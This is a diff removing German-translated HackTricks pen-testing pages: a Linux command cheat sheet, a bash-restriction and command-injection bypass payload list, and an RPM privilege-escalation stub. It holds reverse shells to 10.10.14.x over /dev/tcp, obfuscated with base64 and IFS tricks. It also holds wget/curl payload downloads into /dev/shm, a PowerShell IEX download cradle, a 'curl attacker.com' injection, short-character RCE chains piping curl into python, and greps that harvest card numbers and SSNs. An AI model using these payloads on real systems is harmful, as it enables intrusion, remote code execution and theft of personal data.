cat file | sort | uniq #Sort and delete duplicates
|
||||
|
||||
#Replace in file
|
||||
sed -i 's/OLD/NEW/g' path/file #Replace string inside a file
|
||||
|
||||
#Download in RAM
|
||||
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
|
||||
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
|
||||
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
|
||||
|
||||
#Files used by network processes
|
||||
lsof #Open files belonging to any process
|
||||
lsof -p 3 #Open files used by the process
|
||||
lsof -i #Files used by networks processes
|
||||
lsof -i 4 #Files used by network IPv4 processes
|
||||
lsof -i 6 #Files used by network IPv6 processes
|
||||
lsof -i 4 -a -p 1234 #List all open IPV4 network files in use by the process 1234
|
||||
lsof +D /lib #Processes using files inside the indicated dir
|
||||
lsof -i :80 #Files uses by networks processes
|
||||
fuser -nv tcp 80
|
||||
|
||||
#Decompress
|
||||
tar -xvzf /path/to/yourfile.tgz
|
||||
tar -xvjf /path/to/yourfile.tbz
|
||||
bzip2 -d /path/to/yourfile.bz2
|
||||
tar jxf file.tar.bz2
|
||||
gunzip /path/to/yourfile.gz
|
||||
unzip file.zip
|
||||
7z -x file.7z
|
||||
sudo apt-get install xz-utils; unxz file.xz
|
||||
|
||||
#Add new user
|
||||
useradd -p 'openssl passwd -1 <Password>' hacker
|
||||
|
||||
#Clipboard
|
||||
xclip -sel c < cat file.txt
|
||||
|
||||
#HTTP servers
|
||||
python -m SimpleHTTPServer 80
|
||||
python3 -m http.server
|
||||
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start"
|
||||
php -S $ip:80
|
||||
|
||||
#Curl
|
||||
#json data
|
||||
curl --header "Content-Type: application/json" --request POST --data '{"password":"password", "username":"admin"}' http://host:3000/endpoint
|
||||
#Auth via JWT
|
||||
curl -X GET -H 'Authorization: Bearer <JWT>' http://host:3000/endpoint
|
||||
|
||||
#Send Email
|
||||
sendEmail -t to@email.com -f from@email.com -s 192.168.8.131 -u Subject -a file.pdf #You will be prompted for the content
|
||||
|
||||
#DD copy hex bin file without first X (28) bytes
|
||||
dd if=file.bin bs=28 skip=1 of=blob
|
||||
|
||||
#Mount .vhd files (virtual hard drive)
|
||||
sudo apt-get install libguestfs-tools
|
||||
guestmount --add NAME.vhd --inspector --ro /mnt/vhd #For read-only, create first /mnt/vhd
|
||||
|
||||
# ssh-keyscan, help to find if 2 ssh ports are from the same host comparing keys
|
||||
ssh-keyscan 10.10.10.101
|
||||
|
||||
# Openssl
|
||||
openssl s_client -connect 10.10.10.127:443 #Get the certificate from a server
|
||||
openssl x509 -in ca.cert.pem -text #Read certificate
|
||||
openssl genrsa -out newuser.key 2048 #Create new RSA2048 key
|
||||
openssl req -new -key newuser.key -out newuser.csr #Generate certificate from a private key. Recommended to set the "Organizatoin Name"(Fortune) and the "Common Name" (newuser@fortune.htb)
|
||||
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Create certificate
|
||||
openssl x509 -req -in newuser.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out newuser.pem -days 1024 -sha256 #Create a signed certificate
|
||||
openssl pkcs12 -export -out newuser.pfx -inkey newuser.key -in newuser.pem #Create from the signed certificate the pkcs12 certificate format (firefox)
|
||||
# If you only needs to create a client certificate from a Ca certificate and the CA key, you can do it using:
|
||||
openssl pkcs12 -export -in ca.cert.pem -inkey ca.key.pem -out client.p12
|
||||
# Decrypt ssh key
|
||||
openssl rsa -in key.ssh.enc -out key.ssh
|
||||
#Decrypt
|
||||
openssl enc -aes256 -k <KEY> -d -in backup.tgz.enc -out b.tgz
|
||||
|
||||
#Count number of instructions executed by a program, need a host based linux (not working in VM)
|
||||
perf stat -x, -e instructions:u "ls"
|
||||
|
||||
#Find trick for HTB, find files from 2018-12-12 to 2018-12-14
|
||||
find / -newermt 2018-12-12 ! -newermt 2018-12-14 -type f -readable -not -path "/proc/*" -not -path "/sys/*" -ls 2>/dev/null
|
||||
|
||||
#Reconfigure timezone
|
||||
sudo dpkg-reconfigure tzdata
|
||||
|
||||
#Search from which package is a binary
|
||||
apt-file search /usr/bin/file #Needed: apt-get install apt-file
|
||||
|
||||
#Protobuf decode https://www.ezequiel.tech/2020/08/leaking-google-cloud-projects.html
|
||||
echo "CIKUmMesGw==" | base64 -d | protoc --decode_raw
|
||||
|
||||
#Set not removable bit
|
||||
sudo chattr +i file.txt
|
||||
sudo chattr -i file.txt #Remove the bit so you can delete it
|
||||
|
||||
# List files inside zip
|
||||
7z l file.zip
|
||||
```
|
||||
## Bash für Windows
|
||||
```bash
|
||||
#Base64 for Windows
|
||||
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
|
||||
|
||||
#Exe compression
|
||||
upx -9 nc.exe
|
||||
|
||||
#Exe2bat
|
||||
wine exe2bat.exe nc.exe nc.txt
|
||||
|
||||
#Compile Windows python exploit to exe
|
||||
pip install pyinstaller
|
||||
wget -O exploit.py http://www.exploit-db.com/download/31853
|
||||
python pyinstaller.py --onefile exploit.py
|
||||
|
||||
#Compile for windows
|
||||
#sudo apt-get install gcc-mingw-w64-i686
|
||||
i686-mingw32msvc-gcc -o executable useradd.c
|
||||
```
|
||||
## Greps
|
||||
```bash
|
||||
#Extract emails from file
|
||||
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
|
||||
|
||||
#Extract valid IP addresses
|
||||
grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" file.txt
|
||||
|
||||
#Extract passwords
|
||||
grep -i "pwd\|passw" file.txt
|
||||
|
||||
#Extract users
|
||||
grep -i "user\|invalid\|authentication\|login" file.txt
|
||||
|
||||
# Extract hashes
|
||||
#Extract md5 hashes ({32}), sha1 ({40}), sha256({64}), sha512({128})
|
||||
egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txt
|
||||
#Extract valid MySQL-Old hashes
|
||||
grep -e "[0-7][0-9a-f]{7}[0-7][0-9a-f]{7}" *.txt > mysql-old-hashes.txt
|
||||
#Extract blowfish hashes
|
||||
grep -e "$2a\$\08\$(.){75}" *.txt > blowfish-hashes.txt
|
||||
#Extract Joomla hashes
|
||||
egrep -o "([0-9a-zA-Z]{32}):(w{16,32})" *.txt > joomla.txt
|
||||
#Extract VBulletin hashes
|
||||
egrep -o "([0-9a-zA-Z]{32}):(S{3,32})" *.txt > vbulletin.txt
|
||||
#Extraxt phpBB3-MD5
|
||||
egrep -o '$H$S{31}' *.txt > phpBB3-md5.txt
|
||||
#Extract Wordpress-MD5
|
||||
egrep -o '$P$S{31}' *.txt > wordpress-md5.txt
|
||||
#Extract Drupal 7
|
||||
egrep -o '$S$S{52}' *.txt > drupal-7.txt
|
||||
#Extract old Unix-md5
|
||||
egrep -o '$1$w{8}S{22}' *.txt > md5-unix-old.txt
|
||||
#Extract md5-apr1
|
||||
egrep -o '$apr1$w{8}S{22}' *.txt > md5-apr1.txt
|
||||
#Extract sha512crypt, SHA512(Unix)
|
||||
egrep -o '$6$w{8}S{86}' *.txt > sha512crypt.txt
|
||||
|
||||
#Extract e-mails from text files
|
||||
grep -E -o "\b[a-zA-Z0-9.#?$*_-]+@[a-zA-Z0-9.#?$*_-]+.[a-zA-Z0-9.-]+\b" *.txt > e-mails.txt
|
||||
|
||||
#Extract HTTP URLs from text files
|
||||
grep http | grep -shoP 'http.*?[" >]' *.txt > http-urls.txt
|
||||
#For extracting HTTPS, FTP and other URL format use
|
||||
grep -E '(((https|ftp|gopher)|mailto)[.:][^ >" ]*|www.[-a-z0-9.]+)[^ .,; >">):]' *.txt > urls.txt
|
||||
#Note: if grep returns "Binary file (standard input) matches" use the following approaches # tr '[\000-\011\013-\037177-377]' '.' < *.log | grep -E "Your_Regex" OR # cat -v *.log | egrep -o "Your_Regex"
|
||||
|
||||
#Extract Floating point numbers
|
||||
grep -E -o "^[-+]?[0-9]*.?[0-9]+([eE][-+]?[0-9]+)?$" *.txt > floats.txt
|
||||
|
||||
# Extract credit card data
|
||||
#Visa
|
||||
grep -E -o "4[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > visa.txt
|
||||
#MasterCard
|
||||
grep -E -o "5[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > mastercard.txt
|
||||
#American Express
|
||||
grep -E -o "\b3[47][0-9]{13}\b" *.txt > american-express.txt
|
||||
#Diners Club
|
||||
grep -E -o "\b3(?:0[0-5]|[68][0-9])[0-9]{11}\b" *.txt > diners.txt
|
||||
#Discover
|
||||
grep -E -o "6011[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > discover.txt
|
||||
#JCB
|
||||
grep -E -o "\b(?:2131|1800|35d{3})d{11}\b" *.txt > jcb.txt
|
||||
#AMEX
|
||||
grep -E -o "3[47][0-9]{2}[ -]?[0-9]{6}[ -]?[0-9]{5}" *.txt > amex.txt
|
||||
|
||||
# Extract IDs
|
||||
#Extract Social Security Number (SSN)
|
||||
grep -E -o "[0-9]{3}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > ssn.txt
|
||||
#Extract Indiana Driver License Number
|
||||
grep -E -o "[0-9]{4}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > indiana-dln.txt
|
||||
#Extract US Passport Cards
|
||||
grep -E -o "C0[0-9]{7}" *.txt > us-pass-card.txt
|
||||
#Extract US Passport Number
|
||||
grep -E -o "[23][0-9]{8}" *.txt > us-pass-num.txt
|
||||
#Extract US Phone Numberss
|
||||
grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt
|
||||
#Extract ISBN Numbers
|
||||
egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt
|
||||
```
|
||||
## Finden
|
||||
```bash
|
||||
# Find SUID set files.
|
||||
find / -perm /u=s -ls 2>/dev/null
|
||||
|
||||
# Find SGID set files.
|
||||
find / -perm /g=s -ls 2>/dev/null
|
||||
|
||||
# Found Readable directory and sort by time. (depth = 4)
|
||||
find / -type d -maxdepth 4 -readable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
|
||||
|
||||
# Found Writable directory and sort by time. (depth = 10)
|
||||
find / -type d -maxdepth 10 -writable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
|
||||
|
||||
# Or Found Own by Current User and sort by time. (depth = 10)
|
||||
find / -maxdepth 10 -user $(id -u) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
|
||||
|
||||
# Or Found Own by Current Group ID and Sort by time. (depth = 10)
|
||||
find / -maxdepth 10 -group $(id -g) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
|
||||
|
||||
# Found Newer files and sort by time. (depth = 5)
|
||||
find / -maxdepth 5 -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
|
||||
|
||||
# Found Newer files only and sort by time. (depth = 5)
|
||||
find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
|
||||
|
||||
# Found Newer directory only and sort by time. (depth = 5)
|
||||
find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
|
||||
```
|
||||
## Nmap-Suchhilfe
|
||||
```bash
|
||||
#Nmap scripts ((default or version) and smb))
|
||||
nmap --script-help "(default or version) and *smb*"
|
||||
locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb
|
||||
nmap --script-help "(default or version) and smb)"
|
||||
```
|
||||
## Bash
|
||||
```bash
|
||||
#All bytes inside a file (except 0x20 and 0x00)
|
||||
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
|
||||
```
|
||||
## Iptables
|
||||
```bash
|
||||
#Delete curent rules and chains
|
||||
iptables --flush
|
||||
iptables --delete-chain
|
||||
|
||||
#allow loopback
|
||||
iptables -A INPUT -i lo -j ACCEPT
|
||||
iptables -A OUTPUT -o lo -j ACCEPT
|
||||
|
||||
#drop ICMP
|
||||
iptables -A INPUT -p icmp -m icmp --icmp-type any -j DROP
|
||||
iptables -A OUTPUT -p icmp -j DROP
|
||||
|
||||
#allow established connections
|
||||
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
|
||||
|
||||
#allow ssh, http, https, dns
|
||||
iptables -A INPUT -s 10.10.10.10/24 -p tcp -m tcp --dport 22 -j ACCEPT
|
||||
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
|
||||
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT
|
||||
iptables -A INPUT -p udp -m udp --sport 53 -j ACCEPT
|
||||
iptables -A INPUT -p tcp -m tcp --sport 53 -j ACCEPT
|
||||
iptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT
|
||||
iptables -A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT
|
||||
|
||||
#default policies
|
||||
iptables -P INPUT DROP
|
||||
iptables -P FORWARD ACCEPT
|
||||
iptables -P OUTPUT ACCEPT
|
||||
```
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,319 +0,0 @@
|
||||
# Umgehung von Linux-Beschränkungen
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Umgehungen häufiger Einschränkungen
|
||||
|
||||
### Reverse Shell
|
||||
```bash
|
||||
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
|
||||
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
|
||||
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
|
||||
```
|
||||
### Kurze Rev-Shell
|
||||
```bash
|
||||
#Trick from Dikline
|
||||
#Get a rev shell with
|
||||
(sh)0>/dev/tcp/10.10.10.10/443
|
||||
#Then get the out of the rev shell executing inside of it:
|
||||
exec >&0
|
||||
```
|
||||
### Umgehung von Pfaden und verbotenen Wörtern
|
||||
```bash
|
||||
# Question mark binary substitution
|
||||
/usr/bin/p?ng # /usr/bin/ping
|
||||
nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost
|
||||
|
||||
# Wildcard(*) binary substitution
|
||||
/usr/bin/who*mi # /usr/bin/whoami
|
||||
|
||||
# Wildcard + local directory arguments
|
||||
touch -- -la # -- stops processing options after the --
|
||||
ls *
|
||||
echo * #List current files and folders with echo and wildcard
|
||||
|
||||
# [chars]
|
||||
/usr/bin/n[c] # /usr/bin/nc
|
||||
|
||||
# Quotes
|
||||
'p'i'n'g # ping
|
||||
"w"h"o"a"m"i # whoami
|
||||
ech''o test # echo test
|
||||
ech""o test # echo test
|
||||
bas''e64 # base64
|
||||
|
||||
#Backslashes
|
||||
\u\n\a\m\e \-\a # uname -a
|
||||
/\b\i\n/////s\h
|
||||
|
||||
# $@
|
||||
who$@ami #whoami
|
||||
|
||||
# Transformations (case, reverse, base64)
|
||||
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") #whoami -> Upper case to lower case
|
||||
$(a="WhOaMi";printf %s "${a,,}") #whoami -> transformation (only bash)
|
||||
$(rev<<<'imaohw') #whoami
|
||||
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) #base64
|
||||
|
||||
|
||||
# Execution through $0
|
||||
echo whoami|$0
|
||||
|
||||
# Uninitialized variables: A uninitialized variable equals to null (nothing)
|
||||
cat$u /etc$u/passwd$u # Use the uninitialized variable without {} before any symbol
|
||||
p${u}i${u}n${u}g # Equals to ping, use {} to put the uninitialized variables between valid characters
|
||||
|
||||
# Fake commands
|
||||
p$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shown
|
||||
w`u`h`u`o`u`a`u`m`u`i # Equals to whoami but 5 errors trying to execute "u" are shown
|
||||
|
||||
# Concatenation of strings using history
|
||||
!-1 # This will be substitute by the last command executed, and !-2 by the penultimate command
|
||||
mi # This will throw an error
|
||||
whoa # This will throw an error
|
||||
!-1!-2 # This will execute whoami
|
||||
```
|
||||
### Umgehung verbotener Leerzeichen
|
||||
```bash
|
||||
# {form}
|
||||
{cat,lol.txt} # cat lol.txt
|
||||
{echo,test} # echo test
|
||||
|
||||
# IFS - Internal field separator, change " " for any other character ("]" in this case)
|
||||
cat${IFS}/etc/passwd # cat /etc/passwd
|
||||
cat$IFS/etc/passwd # cat /etc/passwd
|
||||
|
||||
# Put the command line in a variable and then execute it
|
||||
IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b
|
||||
IFS=];b=cat]/etc/passwd;$b # Using 2 ";"
|
||||
IFS=,;`cat<<<cat,/etc/passwd` # Using cat twice
|
||||
# Other way, just change each space for ${IFS}
|
||||
echo${IFS}test
|
||||
|
||||
# Using hex format
|
||||
X=$'cat\x20/etc/passwd'&&$X
|
||||
|
||||
# Using tabs
|
||||
echo "ls\x09-l" | bash
|
||||
|
||||
# New lines
|
||||
p\
|
||||
i\
|
||||
n\
|
||||
g # These 4 lines will equal to ping
|
||||
|
||||
# Undefined variables and !
|
||||
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
|
||||
uname!-1\-a # This equals to uname -a
|
||||
```
|
||||
### Umgehen von Backslash und Slash
|
||||
```bash
|
||||
cat ${HOME:0:1}etc${HOME:0:1}passwd
|
||||
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
|
||||
```
|
||||
### Pipes umgehen
|
||||
```bash
|
||||
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
|
||||
```
|
||||
### Umgehung mit Hex-Codierung
|
||||
```bash
|
||||
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
|
||||
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
|
||||
abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat abc
|
||||
`echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
|
||||
cat `xxd -r -p <<< 2f6574632f706173737764`
|
||||
xxd -r -ps <(echo 2f6574632f706173737764)
|
||||
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
|
||||
```
|
||||
### Umgehung von IPs
|
||||
```bash
|
||||
# Decimal IPs
|
||||
127.0.0.1 == 2130706433
|
||||
```
|
||||
### Zeitbasierte Datenexfiltration
|
||||
```bash
|
||||
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
```
|
||||
### Zeichen aus Umgebungsvariablen abrufen
|
||||
```bash
|
||||
echo ${LS_COLORS:10:1} #;
|
||||
echo ${PATH:0:1} #/
|
||||
```
|
||||
### DNS-Datenexfiltration
|
||||
|
||||
Sie könnten **burpcollab** oder [**pingb**](http://pingb.in) verwenden, zum Beispiel.
|
||||
|
||||
### Builtins
|
||||
|
||||
Falls Sie externe Funktionen nicht ausführen können und nur Zugriff auf eine **begrenzte Menge an Builtins haben, um RCE zu erhalten**, gibt es einige nützliche Tricks, um dies zu tun. Normalerweise **werden Sie nicht in der Lage sein, alle** der **Builtins** zu verwenden, daher sollten Sie **alle Ihre Optionen kennen**, um zu versuchen, das Jail zu umgehen. Idee von [**devploit**](https://twitter.com/devploit).\
|
||||
Zuerst überprüfen Sie alle [**Shell Builtins**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** Dann haben Sie hier einige **Empfehlungen**:
|
||||
```bash
|
||||
# Get list of builtins
|
||||
declare builtins
|
||||
|
||||
# In these cases PATH won't be set, so you can try to set it
|
||||
PATH="/bin" /bin/ls
|
||||
export PATH="/bin"
|
||||
declare PATH="/bin"
|
||||
SHELL=/bin/bash
|
||||
|
||||
# Hex
|
||||
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
|
||||
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
|
||||
|
||||
# Input
|
||||
read aaa; exec $aaa #Read more commands to execute and execute them
|
||||
read aaa; eval $aaa
|
||||
|
||||
# Get "/" char using printf and env vars
|
||||
printf %.1s "$PWD"
|
||||
## Execute /bin/ls
|
||||
$(printf %.1s "$PWD")bin$(printf %.1s "$PWD")ls
|
||||
## To get several letters you can use a combination of printf and
|
||||
declare
|
||||
declare functions
|
||||
declare historywords
|
||||
|
||||
# Read flag in current dir
|
||||
source f*
|
||||
flag.txt:1: command not found: CTF{asdasdasd}
|
||||
|
||||
# Read file with read
|
||||
while read -r line; do echo $line; done < /etc/passwd
|
||||
|
||||
# Get env variables
|
||||
declare
|
||||
|
||||
# Get history
|
||||
history
|
||||
declare history
|
||||
declare historywords
|
||||
|
||||
# Disable special builtins chars so you can abuse them as scripts
|
||||
[ #[: ']' expected
|
||||
## Disable "[" as builtin and enable it as script
|
||||
enable -n [
|
||||
echo -e '#!/bin/bash\necho "hello!"' > /tmp/[
|
||||
chmod +x [
|
||||
export PATH=/tmp:$PATH
|
||||
if [ "a" ]; then echo 1; fi # Will print hello!
|
||||
```
|
||||
### Polyglot-Befehlsinjektion
|
||||
```bash
|
||||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||||
```
|
||||
### Umgehung potenzieller Regexe
|
||||
```bash
|
||||
# A regex that only allow letters and numbers might be vulnerable to new line characters
|
||||
1%0a`curl http://attacker.com`
|
||||
```
|
||||
### Bashfuscator
|
||||
```bash
|
||||
# From https://github.com/Bashfuscator/Bashfuscator
|
||||
./bashfuscator -c 'cat /etc/passwd'
|
||||
```
|
||||
### RCE mit 5 Zeichen
|
||||
```bash
|
||||
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
|
||||
#Oragnge Tsai solution
|
||||
## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration date
|
||||
http://host/?cmd=>ls\
|
||||
http://host/?cmd=ls>_
|
||||
http://host/?cmd=>\ \
|
||||
http://host/?cmd=>-t\
|
||||
http://host/?cmd=>\>g
|
||||
http://host/?cmd=ls>>_
|
||||
|
||||
## Step2: generate `curl orange.tw|python` to file "g"
|
||||
## by creating the necesary filenames and writting that content to file "g" executing the previous generated file
|
||||
http://host/?cmd=>on
|
||||
http://host/?cmd=>th\
|
||||
http://host/?cmd=>py\
|
||||
http://host/?cmd=>\|\
|
||||
http://host/?cmd=>tw\
|
||||
http://host/?cmd=>e.\
|
||||
http://host/?cmd=>ng\
|
||||
http://host/?cmd=>ra\
|
||||
http://host/?cmd=>o\
|
||||
http://host/?cmd=>\ \
|
||||
http://host/?cmd=>rl\
|
||||
http://host/?cmd=>cu\
|
||||
http://host/?cmd=sh _
|
||||
# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file
|
||||
|
||||
## Finally execute the file "g"
|
||||
http://host/?cmd=sh g
|
||||
|
||||
|
||||
# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
|
||||
# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*"
|
||||
https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
|
||||
## Execute tar command over a folder
|
||||
http://52.199.204.34/?cmd=>tar
|
||||
http://52.199.204.34/?cmd=>zcf
|
||||
http://52.199.204.34/?cmd=>zzz
|
||||
http://52.199.204.34/?cmd=*%20/h*
|
||||
|
||||
# Another curiosity if you can read files of the current folder
|
||||
ln /f*
|
||||
## If there is a file /flag.txt that will create a hard link
|
||||
## to it in the current folder
|
||||
```
|
||||
### RCE mit 4 Zeichen
|
||||
```bash
|
||||
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
|
||||
# it will follow the same principle of creating the command `ls -t>g` in a file
|
||||
# and then generate the full command in filenames
|
||||
# generate "g> ht- sl" to file "v"
|
||||
'>dir'
|
||||
'>sl'
|
||||
'>g\>'
|
||||
'>ht-'
|
||||
'*>v'
|
||||
|
||||
# reverse file "v" to file "x", content "ls -th >g"
|
||||
'>rev'
|
||||
'*v>x'
|
||||
|
||||
# generate "curl orange.tw|python;"
|
||||
'>\;\\'
|
||||
'>on\\'
|
||||
'>th\\'
|
||||
'>py\\'
|
||||
'>\|\\'
|
||||
'>tw\\'
|
||||
'>e.\\'
|
||||
'>ng\\'
|
||||
'>ra\\'
|
||||
'>o\\'
|
||||
'>\ \\'
|
||||
'>rl\\'
|
||||
'>cu\\'
|
||||
|
||||
# got shell
|
||||
'sh x'
|
||||
'sh g'
|
||||
```
|
||||
## Read-Only/Noexec/Distroless Bypass
|
||||
|
||||
Wenn Sie sich in einem Dateisystem mit **read-only und noexec Schutzmaßnahmen** oder sogar in einem distroless Container befinden, gibt es dennoch Möglichkeiten, **willkürliche Binärdateien auszuführen, sogar eine Shell!:**
|
||||
|
||||
{{#ref}}
|
||||
../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/
|
||||
{{#endref}}
|
||||
|
||||
## Chroot & andere Jail-Bypässe
|
||||
|
||||
{{#ref}}
|
||||
../privilege-escalation/escaping-from-limited-bash.md
|
||||
{{#endref}}
|
||||
|
||||
## Referenzen & Mehr
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
|
||||
- [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
|
||||
- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
|
||||
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,23 +0,0 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Weitere Beispiele zu yum finden sich auch auf [gtfobins](https://gtfobins.github.io/gtfobins/yum/).
|
||||
|
||||
# Ausführen beliebiger Befehle über RPM-Pakete
|
||||
|
||||
## Überprüfung der Umgebung
|
||||
|
||||
Um diesen Vektor auszunutzen, muss der Benutzer in der Lage sein, yum-Befehle als höher privilegierter Benutzer, d.h. root, auszuführen.
|
||||
|
||||
### Ein funktionierendes Beispiel für diesen Vektor
|
||||
|
||||
Ein funktionierendes Beispiel für diesen Exploit findet sich im Raum [daily bugle](https://tryhackme.com/room/dailybugle) auf [tryhackme](https://tryhackme.com).
|
||||
|
||||
## Verpacken eines RPM
|
||||
|
||||
Im folgenden Abschnitt werde ich das Verpacken einer Reverse-Shell in ein RPM mit [fpm](https://github.com/jordansissel/fpm) behandeln.
|
||||
|
||||
Das folgende Beispiel erstellt ein Paket, das einen Before-Install-Trigger mit einem beliebigen Skript enthält, das vom Angreifer definiert werden kann. Bei der Installation wird dieser Paket den beliebigen Befehl ausführen. Ich habe ein einfaches Beispiel einer Reverse-Netcat-Shell zur Demonstration verwendet, aber dies kann nach Bedarf geändert werden.
|
||||
```text
|
||||
|
||||
```
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,141 +0,0 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
